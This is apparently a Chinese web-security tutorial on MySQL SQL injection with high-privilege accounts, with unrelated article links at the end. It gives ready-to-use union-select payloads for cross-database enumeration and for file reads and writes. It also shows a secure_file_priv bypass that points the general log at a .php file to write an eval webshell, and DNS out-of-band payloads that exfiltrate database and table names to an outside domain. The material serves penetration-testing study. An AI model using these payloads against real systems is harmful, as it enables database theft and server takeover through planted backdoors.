当前位置: 首页 > article >正文

Web攻防-SQL注入高权限判定跨库查询文件读写DNS带外SecurePriv开关绕过

知识点:
1、Web攻防-SQL注入-高权限用户差异
2、Web攻防-SQL注入-跨库注入&文件读写&DNS带外

案例说明:
在应用中,数据库用户不同,可操作的数据库和文件读写权限不一,所有在注入过程中可以有更多的利用思路,如直接写入后门,获取数据库下洽谈网站的数据等。

一、演示案例-WEB攻防-SQL注入-高权限&数据库名获取&文件读写操作&secure_file_priv开关

实验:root用户和普通用户

在这里插入图片描述

1、所有数据库名获取

在这里插入图片描述

2、文件读写操作权限

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验:secure_file_priv开关(限制文件读取和写入)

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入
通过my.ini(windows版本)/my.cnf(Linux版本)中设置

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过条件

存在可执行的SQL语句的地方(后台SQL命令执行,Phpmyadmin应用等)从后台的sql命令执行功能点:通过注入获取得到这个网站的后台账号密码
从phpmyadmin命令执行功能点:通过注入获取到数据库的用户名和密码
phpmyadmin的用户密码存储在mysql数据库下的user表(mysql低版本是user、password列名或mysql高版本是user、authentication_string为列名)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

getshellshow variables like "secure%" //查看secure_file_priv开关是否开启
slow_query_log=1 启用慢查询日志(默认禁用)
set global general_log=on; //开启日志功能
show variables like 'general_log'; //查看日志是否开启
set global general_log_file='D:/phpstudy_pro/WWW/php/55/bypass.php';
select '<?php @eval($_POST[x]);?>'

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-SQL注入-高权限&文件读写操作&跨库注入&带外注入

文件读写

' union select LOAD_FILE('d:\\2.txt'),2,3#

在这里插入图片描述
在这里插入图片描述

' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#

在这里插入图片描述
在这里插入图片描述
实战中一般就是直接写webshell进网站目录下,那么关于网站路径获取方法:

1、遗留文件(phpinfo)
在这里插入图片描述
2、报错显示
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3、读中间件配置
4、爆破fuzz路径

跨库注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查数据库名

' union select SCHEMA_name,2,3 from information_schema.SCHEMATA#

在这里插入图片描述
在这里插入图片描述

查表名

' union select table_name,2,3 from information_schema.tables where table_schema='xhcms'#

在这里插入图片描述
在这里插入图片描述

查列名

' union select column_name,2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#

在这里插入图片描述
在这里插入图片描述

查数据

' union select name,2,3 from xhcms.manage#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

带外注入(读文件无回显)

查数据库名

' union select load_file(concat('\\\\',(select database()),'.yjjoxijrhw.yutu.eu.org\\aa')),2,3#

在这里插入图片描述
在这里插入图片描述

查第一个表名

' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#

在这里插入图片描述
在这里插入图片描述

查第二个表名

' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#

查第三个表名

' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 2,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#

查列名:…

查数据

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

http://www.lryc.cn/news/2401274.html

相关文章:

  • C语言数据结构笔记3:Union联合体+结构体取8位Bool量
  • 深拷贝与浅拷贝的区别?如何手写实现一个深拷贝?
  • grafana 批量视图备份及恢复(含数据源)
  • SAP学习笔记 - 开发22 - 前端Fiori开发 数据绑定(Jason),Data Types(数据类型)
  • 网络编程之TCP编程
  • C++进阶--C++11(04)
  • 当AI遇上防火墙:新一代智能安全解决方案全景解析
  • STL 库基础概念与示例
  • Spring MVC参数绑定终极手册:单多参/对象/集合/JSON/文件上传精讲
  • Fluence推出“Pointless计划”:五种方式参与RWA算力资产新时代
  • innovus: ecoAddRepeater改变hier层级解决办法
  • 华为OD机试真题——硬件产品销售方案(2025A卷:100分)Java/python/JavaScript/C++/C语言/GO六种最佳实现
  • 突破数据孤岛:StarRocks联邦查询实战指南
  • 传统业务对接AI-AI编程框架-Rasa的业务应用实战(1)--项目背景即学习初衷
  • 低功耗架构突破:STM32H750 与 SD NAND (存储芯片)如何延长手环续航至 14 天
  • CSS选择子元素
  • git cherry-pick (28)
  • android与Qt类比
  • AX513CE 是一款针对模组渠道市场前端IPC应用而设计的数字SOC芯片 支持高清CMOS Sensor输入 国产品牌
  • Linux(11)——基础IO(上)
  • ABP-Book Store Application中文讲解 - Part 9: Authors: User Interface
  • 鸿蒙开发修改版本几个步骤
  • Hive自定义函数案例(UDF、UDAF、UDTF)
  • 【学习笔记】Circuit Tracing: Revealing Computational Graphs in Language Models
  • 3D视觉重构工业智造:解码迁移科技如何用“硬核之眼“重塑生产节拍
  • Elasticsearch中的刷新(Refresh)和刷新间隔介绍
  • STM32标准库-TIM定时器
  • 【算法训练营Day05】哈希表part1
  • CMap应用场景和例子
  • Kafka 如何保证顺序消费